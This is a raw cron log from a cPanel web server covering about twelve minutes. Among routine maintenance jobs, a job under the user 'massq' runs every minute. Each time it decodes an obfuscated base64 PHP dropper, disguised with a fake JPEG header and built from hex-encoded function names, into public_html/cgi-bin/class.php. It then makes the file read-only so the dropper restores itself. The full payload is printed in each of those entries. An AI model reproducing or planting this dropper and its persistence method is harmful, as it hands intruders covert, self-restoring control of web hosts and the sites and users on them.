Sep 11 18:08:01 server CROND[8465]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 18:08:01 server CROND[8466]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 18:08:01 server CROND[8468]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 18:09:01 server CROND[8864]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 18:09:01 server CROND[8865]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 11 18:09:01 server CROND[8867]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 18:09:01 server CROND[8866]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 18:10:01 server CROND[9259]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 18:10:01 server CROND[9258]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 18:10:01 server CROND[9262]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 18:10:01 server CROND[9269]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 18:10:01 server CROND[9267]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 18:10:01 server CROND[9272]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 18:10:01 server CROND[9270]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 18:10:01 server CROND[9277]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 18:11:01 server CROND[10240]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 18:11:01 server CROND[10241]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 18:11:01 server CROND[10242]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 18:12:01 server CROND[10627]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 11 18:12:01 server CROND[10628]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 18:12:01 server CROND[10629]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 18:12:01 server CROND[10630]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 18:13:01 server CROND[11071]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 18:13:01 server CROND[11072]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 18:13:01 server CROND[11070]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 18:14:01 server CROND[11440]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 18:14:01 server CROND[11441]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 18:14:01 server CROND[11442]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 18:15:01 server CROND[11843]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 18:15:01 server CROND[11845]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 18:15:01 server CROND[11847]: (root) CMD (/usr/local/cpanel/scripts/autorepair recoverymgmt >/dev/null 2>&1)
Sep 11 18:15:01 server CROND[11851]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 18:15:01 server CROND[11850]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep 11 18:15:01 server CROND[11854]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 18:15:01 server CROND[11856]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 18:15:01 server CROND[11857]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 18:15:01 server CROND[11855]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 18:15:01 server CROND[11859]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep 11 18:16:01 server CROND[12875]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 18:16:01 server CROND[12876]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 18:16:01 server CROND[12877]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 18:17:01 server CROND[13249]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 18:17:01 server CROND[13250]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 18:17:01 server CROND[13252]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 18:18:01 server CROND[13631]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 18:18:01 server CROND[13632]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 18:18:01 server CROND[13633]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 18:19:01 server CROND[14026]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 18:19:01 server CROND[14025]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 18:19:01 server CROND[14027]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 18:20:01 server CROND[14474]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
